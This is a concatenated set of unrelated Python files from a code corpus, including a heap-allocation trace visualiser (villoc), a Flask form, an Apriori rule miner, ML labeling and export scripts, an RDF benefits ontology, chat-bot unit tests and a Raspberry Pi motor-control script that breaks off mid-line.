= []\n super().__init__(*args, **kwargs)\n\n def boundaries(self):\n bounds = set()\n for block in self:\n lo, hi = block.boundaries()\n bounds.add(lo)\n bounds.add(hi)\n return bounds\n\nclass Printable():\n\n unit_width = 10\n classes = [\"block\"]\n\n def boundaries(self):\n return (self.start(), self.end())\n\n def gen_html(self, out, width, color=\"\"):\n out.write('
' %\n (\" \".join(self.classes), 10 * width, color))\n if self.details:\n out.write('%#x
' % self.start())\n out.write(self.more_html())\n else:\n out.write(' ')\n\n out.write('
\\n')\n\n def more_html(self):\n return \"\"\n\n def __repr__(self):\n return \"%s(start=%#x, end=%#x)\" % (self.__class__.__name__,\n self.start(), self.end())\n\n\nclass Empty(Printable):\n\n classes = Printable.classes + [\"empty\"]\n\n def __init__(self, start, end, display=True):\n self._start = start\n self._end = end\n self.details = display\n\n def start(self):\n return self._start\n\n def end(self):\n return self._end\n\n def set_end(self, end):\n self._end = end\n\n def more_html(self):\n return \"+ %#x\" % (self.end() - self.start())\n\n\nclass Block(Printable):\n\n header = 8\n footer = 0\n round = 0x10\n minsz = 0x20\n\n classes = Printable.classes + [\"normal\"]\n\n def __init__(self, addr, size, error=False, tmp=False, **kwargs):\n self.uaddr = addr\n self.usize = size\n self.details = True\n self.error = error\n self.tmp = tmp\n self.color = kwargs.get('color', get_color(size+self.header))\n\n def start(self):\n # Multiply by 2, to show same addresses as malloc.c\n return self.uaddr - self.header * 2\n\n def end(self):\n size = max(self.minsz, self.usize + self.header + self.footer)\n rsize = size + (self.round - 1)\n rsize = rsize - (rsize % self.round)\n # Multiply header by 2, to show same addresses as malloc.c\n return self.uaddr - self.header * 2 + rsize\n\n def gen_html(self, out, width):\n\n if self.color:\n color = (\"background-color: rgb(%d, %d, %d);\" % self.color)\n else:\n color = \"\"\n\n if self.error:\n color += (\"background-image: repeating-linear-gradient(\"\n \"120deg, transparent, transparent 1.40em, \"\n \"#A85860 1.40em, #A85860 2.80em);\")\n\n super().gen_html(out, width, color)\n\n def more_html(self):\n return \"+ %#x (%#x)\" % (self.end() - self.start(), self.usize)\n\n def __repr__(self):\n return \"%s(start=%#x, end=%#x, tmp=%s)\" % (\n self.__class__.__name__, self.start(), self.end(), self.tmp)\n\n\nclass Marker(Block):\n\n def __init__(self, addr, error=False, **kwargs):\n super().__init__(addr, 0x0, tmp=True, error=error, *kwargs)\n\n def more_html(self):\n return \"unknown\"\n\ndef match_ptr(state, ptr):\n\n if ptr is None:\n return None, None\n\n s, smallest_match = None, None\n\n for i, block in enumerate(state):\n if block.uaddr != ptr:\n continue\n if smallest_match is None or smallest_match.usize >= block.usize:\n s, smallest_match = i, block\n\n if smallest_match is None:\n state.errors.append(\"Couldn't find block at %#x, added marker.\" %\n (ptr - Block.header))\n # We'll add a small tmp block here to show the error.\n state.append(Marker(ptr, error=True))\n\n return s, smallest_match\n\n\ndef malloc(state, ret, size):\n if not ret:\n state.errors.append(\"Failed to allocate %#x bytes.\" % size)\n else:\n state.append(Block(ret, size))\n\n\ndef calloc(state, ret, nmemb, size):\n malloc(state, ret, nmemb * size)\n\n\ndef free(state, ret, ptr):\n\n if ptr is 0:\n return\n\n s, match = match_ptr(state, ptr)\n\n if match is None:\n return\n elif ret is None:\n state[s] = Block(match.uaddr, match.usize,\n error=True, color=match.color)\n else:\n del state[s]\n\n\ndef realloc(state, ret, ptr, size):\n\n if not ptr:\n return malloc(state, ret, size)\n elif not size:\n return free(state, ret, ptr)\n\n s, match = match_ptr(state, ptr)\n\n if match is None:\n return\n elif ret is None:\n state[s] = Block(match.uaddr, match.usize, color=match.color)\n state[s].error = True\n else:\n state[s] = Block(ret, size, color=match.color)\n\n\ndef meta(state, ret, msg):\n return ([], [\"after: %s\" % (msg,)])\n\noperations = {\n 'free': free,\n 'malloc': malloc,\n 'calloc': calloc,\n 'realloc': realloc,\n 'villoc': meta,\n}\n\n\ndef sanitize(x):\n if x is None:\n return None\n if \"void\" in x:\n return 0\n if \"nil\" in x:\n return 0\n try:\n return int(x, 0)\n except:\n return x\n\n\ndef parse_ltrace(ltrace):\n\n #match_call = r\"^([a-z_]+)\\(([x0-9]+)\\) += (.*)\"\n match_call = r\"^([a-z_]+)\\((.*?)\\) += (.*)\"\n match_err = r\"^([a-z_]+)\\((.*?)\\).*\"\n\n for line in ltrace:\n\n # if the trace file contains PID (for ltrace -f)\n head, _, tail = line.partition(\" \")\n if head.isdigit():\n line = tail\n\n if not any(line.startswith(f) for f in operations):\n continue\n\n try:\n func, args, ret = re.findall(match_call, line)[0]\n if \"no return\" in str(ret) or \"=\" in str(ret):\n raise Exception\n except Exception:\n\n try:\n # maybe this stopped the program\n func, args = re.findall(match_err, line)[0]\n ret = None\n except Exception:\n continue\n\n print(\"%s\" % (line.strip(),), file=sys.stderr)\n args = list(map(sanitize, args.split(\", \")))\n ret = sanitize(ret)\n\n yield func, args, ret\n\n\ndef build_timeline(events):\n\n boundaries = set()\n timeline = [State()]\n errors = []\n info = []\n\n for func, args, ret in events:\n try:\n op = operations[func]\n except KeyError:\n continue\n\n state = State(b for b in timeline[-1] if not b.tmp)\n\n meta = op(state, ret, *args)\n if meta:\n errors.extend(meta[0])\n info.extend(meta[1])\n continue\n else:\n state.errors.extend(errors)\n state.info.extend(info)\n errors = []\n info = []\n\n call = \"%s(%s)\" % (func, \", \".join(\"%#x\" % a for a in args))\n\n if ret is None or str(ret) == \"\":\n state.errors.append(\"%s = \" % call)\n else:\n state.info.append(\"%s = %#x\" % (call, ret))\n\n boundaries.update(state.boundaries())\n timeline.append(state)\n\n return timeline, boundaries\n\n\ndef get_color(size):\n if size < 128:\n return (0xAA, 0x60, 0xB0) # Fastchunk / purple\n elif size < 1024:\n return (0x73, 0x73, 0xFF) # Smallchunk / blue\n else:\n return (0xDF, 0x90, 0x30) # Largechunk / orange\n\ndef print_state(out, boundaries, state):\n\n out.write('
\\n' % (\"error\" if state.errors else \"\"))\n\n known_stops = set()\n\n todo = state\n while todo:\n\n out.write('
\\n')\n\n done = []\n\n current = None\n last = 0\n\n for i, b in enumerate(boundaries):\n\n # If this block has size 0; make it continue until the\n # next boundary anyway. The size will be displayed as\n # 0 or unknown anyway and it shouldn't be too confusing.\n if current and current.end() != b and current.start() != current.end():\n continue\n\n if current: # stops here.\n known_stops.add(i)\n current.gen_html(out, i - last)\n done.append(current)\n last = i\n\n current = None\n for block in todo:\n if block.start() == b:\n current = block\n break\n else:\n continue\n\n if last != i:\n\n # We want to show from previous known_stop.\n\n for s in reversed(range(last, i+1)):\n if s in known_stops:\n break\n\n if s != last:\n Empty(boundaries[last], boundaries[s],\n display=False).gen_html(out, s - last)\n known_stops.add(s)\n\n if s != i:\n Empty(boundaries[s], b).gen_html(out, i - s)\n known_stops.add(i)\n\n last = i\n\n\n if current:\n raise RuntimeError(\"Block was started but never finished.\")\n\n if not done:\n raise RuntimeError(\"Some block(s) don't match boundaries.\")\n\n out.write('
\\n')\n\n todo = [x for x in todo if x not in done]\n\n out.write('
')\n\n for msg in state.info:\n out.write('

%s

' % html.escape(str(msg)))\n\n for msg in state.errors:\n out.write('

%s

' % html.escape(str(msg)))\n\n out.write('
\\n')\n\n out.write('
\\n')\n\n\ndef gen_html(timeline, boundaries, out):\n\n if timeline and not timeline[0]:\n timeline.pop(0)\n\n boundaries = list(sorted(boundaries))\n\n out.write('\\n')\n\n out.write('')\n out.write('''\n''')\n\n out.write('\\n')\n\n out.write('
\\n')\n\n for state in timeline:\n print_state(out, boundaries, state)\n\n out.write('
\\n')\n\n out.write('\\n')\n\n\nif __name__ == '__main__':\n\n import sys\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"ltrace\", type=argparse.FileType(\"rb\"))\n parser.add_argument(\"out\", type=argparse.FileType(\"w\"))\n parser.add_argument(\"--header\", type=int, default=8,\n help=\"size of malloc metadata before user data\")\n parser.add_argument(\"--footer\", type=int, default=0,\n help=\"size of malloc metadata after user data\")\n parser.add_argument(\"--round\", type=int, default=0x10,\n help=\"size of malloc chunks are a multiple of this value\")\n parser.add_argument(\"--minsz\", type=int, default=0x20,\n help=\"size of a malloc chunk is at least this value\")\n parser.add_argument(\"--raw\", action=\"store_true\",\n help=\"disables header, footer, round and minsz\")\n\n # Some values that work well: 38, 917, 190, 226\n parser.add_argument(\"-s\", \"--seed\", type=int, default=226)\n parser.add_argument(\"-S\", \"--show-seed\", action=\"store_true\")\n args = parser.parse_args()\n\n random.seed(args.seed)\n\n # Still need to understand more the code to create a \"Legend\" class\n args.out.write(\"
Legend: Fastchunk = Purple | Smallchunk = Blue | Largechunk = Orange
\")\n\n if args.show_seed:\n args.out.write('

seed: %d

' % args.seed)\n\n # Set malloc options\n\n if args.raw:\n Block.header, Block.footer, Block.round, Block.minsz = 0, 0, 1, 0\n Block.header, Block.footer, Block.round, Block.minsz = (\n args.header, args.footer, args.round, args.minsz)\n\n\n noerrors = codecs.getreader('utf8')(args.ltrace.detach(), errors='ignore')\n timeline, boundaries = build_timeline(parse_ltrace(noerrors))\n\n gen_html(timeline, boundaries, args.out)\n","sub_path":"villoc.py","file_name":"villoc.py","file_ext":"py","file_size_in_byte":13435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"371977520","text":"from flask_wtf import Form, RecaptchaField, FlaskForm\nfrom wtforms import StringField, SubmitField, SelectField\nfrom wtforms.validators import DataRequired, Length, Email\n\nfrom wtforms.fields.html5 import DateField\n\nclass ContactForm(FlaskForm):\n \"\"\"Contact form.\"\"\"\n current_day = StringField(\n 'How has your day been so far?',\n [\n DataRequired(),\n Length(min=4,\n message='Your message is too short.')\n ]\n )\n current_emotion = SelectField(\n 'What emotion are you feeling at the moment',\n [DataRequired()],\n choices=[\n ('Happy', 'Happy'),\n ('Excited', 'Excited'),\n ('Calm', 'Calm'),\n ('Sad', 'Sad'),\n ('Stressed', 'Stressed'),\n ('Angry', 'Angry')\n ]\n )\n emotion_explanation = StringField(\n 'Why are you feeling this way?',\n [\n DataRequired(),\n Length(min=4,\n message='Your message is too short.')\n ]\n )\n submit = SubmitField('Submit')\n\n\nclass FinishedForm(FlaskForm):\n \"\"\"Second questionnaire.\"\"\"\n emotion_response = SelectField(\n 'Did the song make you feel better, neutral, or worse?',\n [DataRequired()],\n choices=[\n ('Better', 'Better'),\n ('Neutral', 'Neutral'),\n ('Worse', 'Worse')\n ]\n )\n emotion_conveyed = StringField(\n 'What emotion does this song convey to you?',\n [\n DataRequired(),\n Length(min=4,\n message='Your message is too short.')\n ]\n )\n submit = SubmitField('Submit')\n\n\n## Date picker\nclass DateForm(FlaskForm):\n dt = DateField('DatePicker', format='%Y-%m-%d')\n submit = SubmitField('Submit')\n","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"41448247","text":"from numpy import *\r\n\r\ndef load_dataset():\r\n return [[1, 3, 4], [2, 3, 5], [1, 2, 3, 5],[2, 5]]\r\n\r\n#创建所有候选项集的集合c1\r\ndef create_c1(dataset):\r\n c1 = []#c1是大小为1的所有候选项集的集合\r\n for transaction in dataset:\r\n for item in transaction:\r\n if not [item] in c1:\r\n c1.append([item])#存储不重复的item\r\n c1.sort()\r\n return list(map(frozenset, c1))#frozenset为不可变集合\r\n\r\n#从c1生成l1\r\ndef scanD(D, Ck, min_support):\r\n \"\"\"\r\n\r\n :param D:数据集\r\n :param Ck:候选项集列表\r\n :param min_support:最小支持度\r\n :return:ret_list:满足支持度的集合 support_data:最频繁项集的支持度\r\n \"\"\"\r\n ss_Cnt ={}\r\n for tid in D:\r\n for can in Ck:\r\n if can.issubset(tid):#数据包含候选项集\r\n if not can in ss_Cnt:#c1中的集合不在记录中,则添加\r\n ss_Cnt[can] = 1\r\n else: ss_Cnt[can] += 1#c1中的集合是记录的一部分,计数加1\r\n items_num = float(len(D))\r\n ret_list = []\r\n support_data = {}\r\n for key in ss_Cnt:\r\n support = ss_Cnt[key] / items_num #计算支持度\r\n if support >= min_support:#满足支持度要求\r\n ret_list.insert(0,key)\r\n support_data[key] = support\r\n return ret_list, support_data\r\n\r\n#\r\ndef apriori_gen(Lk, k):\r\n \"\"\"\r\n 例如输入{0},{1},{2},输出{0,1},{0,2},{1,2}\r\n :param Lk:频繁项集列表\r\n :param k: 项集元素个数\r\n :return:Ck\r\n \"\"\"\r\n ret_list = []\r\n Lk_len = len(Lk)\r\n for i in range(Lk_len):\r\n for j in range(i+1, Lk_len):#两两组合遍历\r\n L1 = list(Lk[i])[:k-2];\r\n L2 = list(Lk[j])[:k-2]\r\n L1.sort()\r\n L2.sort()\r\n if L1 == L2:#两个集合的前k-2项相同,将两个集合合并,k-2为了防止集合重复\r\n ret_list.append(Lk[i] | Lk[j])\r\n return ret_list\r\n\r\ndef apriori(dataset, min_support=0.5):\r\n c1 = create_c1(dataset)\r\n D = list(map(set, dataset))\r\n L1, support_data = scanD(D, c1, min_support)\r\n L = [L1]\r\n k = 2\r\n while (len(L[k-2])>0):\r\n Ck = apriori_gen(L[k-2],k)\r\n Lk, supK = scanD(D, Ck, min_support)\r\n support_data.update(supK)\r\n L.append(Lk)\r\n k += 1\r\n return L, support_data\r\n\r\n#生成关联规则\r\ndef generateRules(L, supportData, minConf=0.7):\r\n #频繁项集列表、包含那些频繁项集支持数据的字典、最小可信度阈值\r\n bigRuleList = [] #存储所有的关联规则\r\n for i in range(1, len(L)): #只获取有两个或者更多集合的项目,从1,即第二个元素开始,L[0]是单个元素的\r\n # 两个及以上的才可能有关联一说,单个元素的项集不存在关联问题\r\n for freqSet in L[i]:\r\n H1 = [frozenset([item]) for item in freqSet]\r\n #该函数遍历L中的每一个频繁项集并对每个频繁项集创建只包含单个元素集合的列表H1\r\n if (i > 1):\r\n #如果频繁项集元素数目超过2,那么会考虑对它做进一步的合并\r\n rulesFromConseq(freqSet, H1, supportData, bigRuleList, minConf)\r\n else:#第一层时,后件数为1\r\n calcConf(freqSet, H1, supportData, bigRuleList, minConf)# 调用函数2\r\n return bigRuleList\r\n\r\n#生成候选规则集合:计算规则的可信度以及找到满足最小可信度要求的规则\r\ndef calcConf(freqSet, H, supportData, brl, minConf=0.7):\r\n #针对项集中只有两个元素时,计算可信度\r\n prunedH = []#返回一个满足最小可信度要求的规则列表\r\n for conseq in H:#后件,遍历 H中的所有项集并计算它们的可信度值\r\n conf = supportData[freqSet]/supportData[freqSet-conseq] #可信度计算,结合支持度数据\r\n if conf >= minConf:\r\n print (freqSet-conseq,'-->',conseq,'conf:',conf)\r\n #如果某条规则满足最小可信度值,那么将这些规则输出到屏幕显示\r\n brl.append((freqSet-conseq, conseq, conf))#添加到规则里,brl 是前面通过检查的 bigRuleList\r\n prunedH.append(conseq)#同样需要放入列表到后面检查\r\n return prunedH\r\n\r\n#合并\r\ndef rulesFromConseq(freqSet, H, supportData, brl, minConf=0.7):\r\n #参数:一个是频繁项集,另一个是可以出现在规则右部的元素列表 H\r\n m = len(H[0])\r\n if (len(freqSet) > (m + 1)): #频繁项集元素数目大于单个集合的元素数\r\n Hmp1 = apriori_gen(H, m+1)#存在不同顺序、元素相同的集合,合并具有相同部分的集合\r\n Hmp1 = calcConf(freqSet, Hmp1, supportData, brl, minConf)#计算可信度\r\n if (len(Hmp1) > 1): #满足最小可信度要求的规则列表多于1,则递归\r\n rulesFromConseq(freqSet, Hmp1, supportData, brl, minConf)\r\n\r\n# #here are test code, you can just comment them\r\n# dataset = load_dataset()\r\n# c1 = create_c1(dataset)\r\n# print(c1)\r\n# d = list(map(set,dataset))\r\n# l1, support_data = scanD(d, c1, 0.5)\r\n# print(l1)\r\n# L, supp_data = apriori(dataset)\r\n# print(L)\r\n# print(supp_data)","sub_path":"ch11_apriori/apriori.py","file_name":"apriori.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"630352641","text":"print('importing packages...')\nimport functions\nimport tensorflow.keras as keras\nimport tensorflow as tf\nimport numpy as np\nimport time\nimport cv2\nfrom getLabledImages import load_images_from_folder\nimport shutil\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\n\nprint('importing filenames...')\nonlyfiles = [f for f in listdir('images/') if isfile(join('images/', f))]\n\nprint('importing tf model')\n# Restore the weights\nmodel = functions.create_model()\nmodel.load_weights('model_weights.h5')\n\nprint('importing images')\nimages = load_images_from_folder('images/')\nlength_h = len(load_images_from_folder('images_h/'))\nlength_s = len(load_images_from_folder('images_s/'))\nlength_u = len(load_images_from_folder('images_u/'))\nlength__ = len(load_images_from_folder('images_#/'))\n\nprint('allready h: '+str(length_h))\nprint('allready s: '+str(length_s))\nprint('allready u: '+str(length_u))\nprint('allready _: '+str(length__), end='\\n')\n\nfor i in tqdm(range(0, len(images))):\n frame = images[i]\n frame = functions.image_processing(frame)\n\n # show\n pred = model.predict(frame[np.newaxis, ...])\n predicted_class = np.argmax(pred[0], axis=-1)\n\n if predicted_class == 1:\n output = 'h'\n length_h += 1\n imageIndex = length_h\n elif predicted_class == 2:\n output = 'u'\n length_u += 1\n imageIndex = length_u\n elif predicted_class == 3:\n output = 's'\n length_s += 1\n imageIndex = length_s\n else:\n output = '#'\n length__ += 1\n imageIndex = length__\n\n shutil.move('images/'+str(onlyfiles[i]), \"images_\"+output+\"/\"+str(onlyfiles[i]))\n\nprint('now h: '+str(length_h))\nprint('now s: '+str(length_s))\nprint('now u: '+str(length_u))\nprint('now _: '+str(length__))\n","sub_path":"autoLabel.py","file_name":"autoLabel.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"57796029","text":"import os\nimport tensorflow as tf\nimport tensorflow_hub as hub\nfrom PIL import Image\nimport numpy as np\n\nfrom src.app.constants import PREDICTION_TYPE, MODEL_RUNTIME, DATA_TYPE\nfrom src.app.ml.save_helper import save_interface, load_labels, dump_sklearn\nfrom src.app.ml.transformers import TFImagePreprocessTransformer, SoftmaxTransformer\nfrom src.app.ml.extract_from_tfhub import get_model\n\nWORK_DIR = \"./src/app/ml/mobilenetv2/\"\n\nMODEL_DIR = os.path.join(WORK_DIR, \"model\")\nSAVEDMODEL_DIR = os.path.join(MODEL_DIR, \"savedmodel/mobilenetv2/4\")\nPB_FILE = os.path.join(SAVEDMODEL_DIR, \"saved_model.pb\")\n\nHUB_URL = \"https://tfhub.dev/google/imagenet/mobilenet_v2_130_224/classification/4\"\n\nDATA_DIR = os.path.join(WORK_DIR, \"data\")\nSAMPLE_IMAGE = os.path.join(DATA_DIR, \"good_cat.jpg\")\nLABEL_FILEPATH = os.path.join(DATA_DIR, \"imagenet_labels_1001.json\")\nLABELS = load_labels(LABEL_FILEPATH)\n\n\ndef validate(image, preprocess, predictor, postprocess):\n np_image = preprocess.transform(image)\n result = predictor.predict(np_image)\n result_proba = postprocess.transform(result)\n print(result_proba)\n top1_index = np.argmax(result_proba[0], axis=-1)\n print(top1_index)\n print(LABELS[top1_index])\n\n\ndef main():\n os.makedirs(SAVEDMODEL_DIR, exist_ok=True)\n\n if os.path.exists(PB_FILE):\n print(f\"saved model {SAVEDMODEL_DIR} found\")\n model = tf.keras.models.load_model(SAVEDMODEL_DIR)\n else:\n print(f\"saved model {SAVEDMODEL_DIR} not found\")\n model = get_model(HUB_URL, (224, 224, 3))\n\n preprocess = TFImagePreprocessTransformer(image_size=(224, 224), prediction_shape=(1, 224, 224, 3))\n postprocess = SoftmaxTransformer()\n\n image = Image.open(SAMPLE_IMAGE)\n\n validate(image, preprocess, model, postprocess)\n\n tf.saved_model.save(model, SAVEDMODEL_DIR)\n\n modelname = \"mobilenetv2\"\n interface_filename = f\"{modelname}.yaml\"\n preprocess_filename = f\"{modelname}_preprocess_transformer.pkl\"\n postprocess_filename = f\"{modelname}_softmax_transformer.pkl\"\n preprocess_filepath = os.path.join(MODEL_DIR, preprocess_filename)\n postprocess_filepath = os.path.join(MODEL_DIR, postprocess_filename)\n dump_sklearn(preprocess, preprocess_filepath)\n dump_sklearn(postprocess, postprocess_filepath)\n\n save_interface(\n modelname,\n os.path.join(MODEL_DIR, interface_filename),\n [1, 224, 224, 3],\n \"float32\",\n [1, 1001],\n \"float32\",\n DATA_TYPE.IMAGE,\n [{preprocess_filepath: MODEL_RUNTIME.SKLEARN}, {SAVEDMODEL_DIR: MODEL_RUNTIME.TF_SERVING}, {postprocess_filepath: MODEL_RUNTIME.SKLEARN}],\n PREDICTION_TYPE.CLASSIFICATION,\n \"src.app.ml.mobilenetv2.mobilenetv2_predictor\",\n label_filepath=LABEL_FILEPATH,\n model_spec_name=\"mobilenetv2\",\n model_spec_signature_name=\"serving_default\",\n input_name=\"keras_layer_input\",\n output_name=\"keras_layer\",\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"serving_patterns/src/app/ml/mobilenetv2/extract_mobilenetv2.py","file_name":"extract_mobilenetv2.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316327839","text":"from rdflib import URIRef, Literal\nfrom rdflib import Graph\nfrom constants import *\n\n\ndef init():\n g = Graph()\n\n retired = URIRef(u'http://opencode.su/socio/retired')\n edv_transport = URIRef(u'http://opencode.su/socio/edv_transport')\n pension = URIRef(u'http://opencode.su/socio/pension')\n\n veteran = URIRef(u'http://opencode.su/socio/veteran')\n edv = URIRef(u'http://opencode.su/socio/edv')\n zhku_compensation = URIRef(u'http://opencode.su/socio/zhku_compensation')\n pension_veteran = URIRef(u'http://opencode.su/socio/pension_veteran')\n\n pension_name = Literal(u'Пенсия (семья с родителем-пенсионером)')\n edv_transport_name = Literal(u'ЕДВ на проезд (семья с родителем-пенсионером)')\n edv_veteran_name = Literal(u'Ежемесячная денежная выплата (семья с ветераном труда РФ)')\n pension_veteran_name = Literal(u'Пенсия (семья с ветераном труда РФ)')\n zhku_compensation_name = Literal(u'Компенсация на оплату ЖКУ (семья с ветераном труда РФ)')\n pension_value = Literal(15594)\n edv_transport_value = Literal(270)\n edv_veteran_value = Literal(713)\n pension_veteran_value = Literal(15594)\n zhku_compensation_value = Literal(853)\n pension_gosuslugi = Literal(u'https://www.gosuslugi.ru/situation/disabled_person/disabled_disabled')\n edv_transport_gosuslugi = Literal(u'https://www.gosuslugi.ru/situation/social_assistance/monthly_payments')\n edv_veteran_gosuslugi = Literal(u'https://www.gosuslugi.ru/111447/2/info')\n zhku_compensation_gosuslugi = Literal(u'https://www.gosuslugi.ru/72091/1/info')\n pension_veteran_gosuslugi = Literal('')\n\n veteran_param_name = Literal(u'is_veteran')\n retired_param_name = Literal(u'is_retired')\n\n \"\"\"Добавление узлов для сущностей типа Жизненная ситуация\"\"\"\n g.add((veteran, PARAM_NAME, veteran_param_name))\n g.add((retired, PARAM_NAME, retired_param_name))\n\n \"\"\"Добавление узлов для сущностей типа Льгота для ветеранов\"\"\"\n g.add((veteran, HAS_PRIVILEGE, edv))\n g.add((veteran, HAS_PRIVILEGE, pension_veteran))\n g.add((veteran, HAS_PRIVILEGE, zhku_compensation))\n\n g.add((edv, VALUE, edv_veteran_value))\n g.add((zhku_compensation, VALUE, zhku_compensation_value))\n g.add((pension_veteran, VALUE, pension_veteran_value))\n g.add((edv, NAME, edv_veteran_name))\n g.add((zhku_compensation, NAME, zhku_compensation_name))\n g.add((pension_veteran, NAME, pension_veteran_name))\n g.add((edv, GOSUSLUGI_URL, edv_veteran_gosuslugi))\n g.add((zhku_compensation, GOSUSLUGI_URL, zhku_compensation_gosuslugi))\n g.add((pension_veteran, GOSUSLUGI_URL, pension_veteran_gosuslugi))\n\n \"\"\"Добавление узлов для сущностей типа Льгота для пенсионеров\"\"\"\n g.add((retired, HAS_PRIVILEGE, pension))\n g.add((retired, HAS_PRIVILEGE, edv_transport))\n\n g.add((pension, VALUE, pension_value))\n g.add((pension, NAME, pension_name))\n g.add((pension, GOSUSLUGI_URL, pension_gosuslugi))\n g.add((edv_transport, NAME, edv_transport_name))\n g.add((edv_transport, VALUE, edv_transport_value))\n g.add((edv_transport, GOSUSLUGI_URL, edv_transport_gosuslugi))\n return g\n","sub_path":"ontology/ontology_init.py","file_name":"ontology_init.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446553376","text":"import unittest\nfrom hermothr import Hermothr\n\nclass TestReply(unittest.TestCase):\n def setUp(self):\n self.hermothr = Hermothr(\"test_data\")\n self.hermothr.write_to_database('''INSERT INTO notifications VALUES(?,?,?,?,?,?,?,?,?)''', values=(\"Hermothr\", \"hermothr\", \"you\", \"0\", \"test_data\", \"hi hi!\", \"Hermothr0youyou\", 1, \"id12345\"))\n self.hermothr.write_to_database('''INSERT INTO notifications VALUES(?,?,?,?,?,?,?,?,?)''', values=(\"Hermothr\", \"hermothr\", \"you\", \"0\", \"test_data\", \"hi hi!\", \"PouncySilverkitten0pouncysilverkittenPouncySilverkitten\", 0, \"\"))\n self.packet = { 'type': 'send-event',\n 'data': { 'id': 'id67890',\n 'content': '',\n 'sender': { 'id': 'agent: ',\n 'name': 'Hermothr'}}}\n\n def tearDown(self):\n self.hermothr.c.execute('''DROP TABLE notifications''')\n self.hermothr.conn.commit()\n self.hermothr.conn.close()\n\n def test_check_for_parent(self):\n assert self.hermothr.check_parent(\"id12345\") == True\n assert self.hermothr.check_parent(\"id67890\") == False\n \n def test_send_reply_parse(self):\n packet = self.packet\n packet['type'] = \"send-reply\"\n packet['data']['content'] = \" hi hi!\"\n self.hermothr.thought_delivered = {packet['data']['content']: \"PouncySilverkitten0pouncysilverkittenPouncySilverkitten\"}\n self.hermothr.parse(packet)\n self.hermothr.c.execute('''SELECT COUNT(*) FROM notifications WHERE delivered IS 1''')\n assert self.hermothr.c.fetchone()[0] == 2\n\n def test_reply_message(self):\n packet = self.packet\n packet['data']['content'] = \"/me delivers a message\"\n messages = self.hermothr.check_for_messages(packet)\n sendreply = self.packet\n sendreply['type'] = 'send-reply'\n sendreply['data']['id'] = \"id34567\"\n for message in messages:\n self.hermothr.thought_delivered[message[0]] = message[1]\n sendreply['data']['content'] = message[0]\n self.hermothr.parse(sendreply)\n packet['type'] = \"send-event\"\n packet['data']['parent'] = \"id12345\"\n packet['data']['content'] = \"!reply Testing replying to a reply here!\"\n assert self.hermothr.parse(packet) == \"Will do.\"\n del packet['data']['parent']\n assert self.hermothr.check_for_messages(packet)[0][0] == ' Testing replying to a reply here!'\n\n def test_bad_reply(self):\n packet = self.packet\n packet['data']['parent'] = \"id23456\"\n packet['data']['content'] = \"!reply Hi Hi\"\n assert self.hermothr.parse(packet) == None\n\n def test_empty_reply(self):\n packet = self.packet\n packet['data']['parent'] = \"id12345\"\n packet['data']['content'] = \"!reply\"\n assert self.hermothr.parse(packet) == \"/me can't see a message there\"\n","sub_path":"test/test_reply.py","file_name":"test_reply.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"263387983","text":"input = [3, 5, 6, 1, 2, 4]\n\n\ndef is_number_exist(number, array):\n for num in array: #array의 길이만큼 아래 연산 실행\n if number == num: #비교연산 1번 실행\n return True # N*1 = N만큼\n return False\n\n\nresult = is_number_exist(3, input)\nprint(result)","sub_path":"week_1/04_is_number_exist.py","file_name":"04_is_number_exist.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"162935771","text":"import RPi.GPIO as GPIO\nimport time, math\nfrom time import sleep\nimport serial\nimport sys\n\nport = serial.Serial(\"/dev/rfcomm0\", baudrate=9600) # necessary env sitting for BT communication\naddress = 0x48\t# default address of PCF8591(A/D)\nchannel = 0x40 # address for A0 on PCF8591\n\nin1 = 22\nin2 = 23\nin3 = 24\nin4 = 25\n\nena = 20\nenb = 21\n\nspeedr = 7\nspeedl = 8\n\ntemp1 = 1\n\nstart_timer_left = time.time()\nstart_timer_right = time.time()\nrpml = 0\nrpmr = 0\npulser = 0\npulsel = 0\nelapsel = 0\nelapser = 0\n\nechor = 27\ntrigr = 17\nechol = 26\ntrigl = 19\ntrigw = 10\nechow = 9\ntrigf = 5\nechof = 6\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(in1, GPIO.OUT)\nGPIO.setup(in2, GPIO.OUT)\nGPIO.setup(in3, GPIO.OUT)\nGPIO.setup(in4, GPIO.OUT)\nGPIO.setup(ena, GPIO.OUT)\nGPIO.setup(enb, GPIO.OUT)\nGPIO.setup(echor, GPIO.IN)\nGPIO.setup(echol, GPIO.IN)\nGPIO.setup(echow, GPIO.IN)\nGPIO.setup(echof, GPIO.IN)\nGPIO.setup(trigl, GPIO.OUT)\nGPIO.setup(trigr, GPIO.OUT)\nGPIO.setup(trigw, GPIO.OUT)\nGPIO.setup(trigf, GPIO.OUT)\n\nGPIO.setup(speedl, GPIO.IN, pull_up_down=GPIO.PUD_UP)\nGPIO.setup(speedr, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\nGPIO.output(in1, GPIO.LOW)\nGPIO.output(in2, GPIO.LOW)\nGPIO.output(in3, GPIO.LOW)\nGPIO.output(in4, GPIO.LOW)\np1 = GPIO.PWM(ena, 100) \np2 = GPIO.PWM(enb, 100) \np1.start(20) # Right\np2.start(21) # Left\n\npwml = 15\npwmr = 16\n\ninital_wall_dis = 20\ninital_front_dis = 20\ninital_diff = 0\n\nprint(\"\\n\")\nprint(\"The default speed & direction of motor is LOW & 